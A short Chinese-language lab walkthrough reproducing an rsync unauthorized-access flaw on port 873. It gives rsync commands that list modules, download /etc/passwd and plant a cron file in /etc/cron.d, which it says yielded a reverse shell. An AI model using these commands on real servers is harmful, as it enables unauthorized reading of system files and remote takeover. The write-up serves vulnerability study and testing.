rsync 未授权访问漏洞
rsync是Linux下一款数据备份工具，支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口，如果目标开启了rsync服务，并且没有配置ACL或访问密码，我们将可以读写目标服务器文件。
漏洞复现
环境启动后，我们用rsync命令访问之：
1 | rsync rsync://192.168.44.132:873/ |
可以查看模块名列表：
如上图，有一个src模块，我们再列出这个模块下的文件：
1 | rsync rsync://192.168.44.132:873/src/ |
这是一个Linux根目录，我们可以下载任意文件：
1 | rsync -av rsync://192.168.44.132:873/src/etc/passwd ./ |
或者写入任意文件：
1 | rsync -av shell rsync://192.168.44.132:873/src/etc/cron.d/shell |
我们写入了一个cron任务，成功反弹shell：
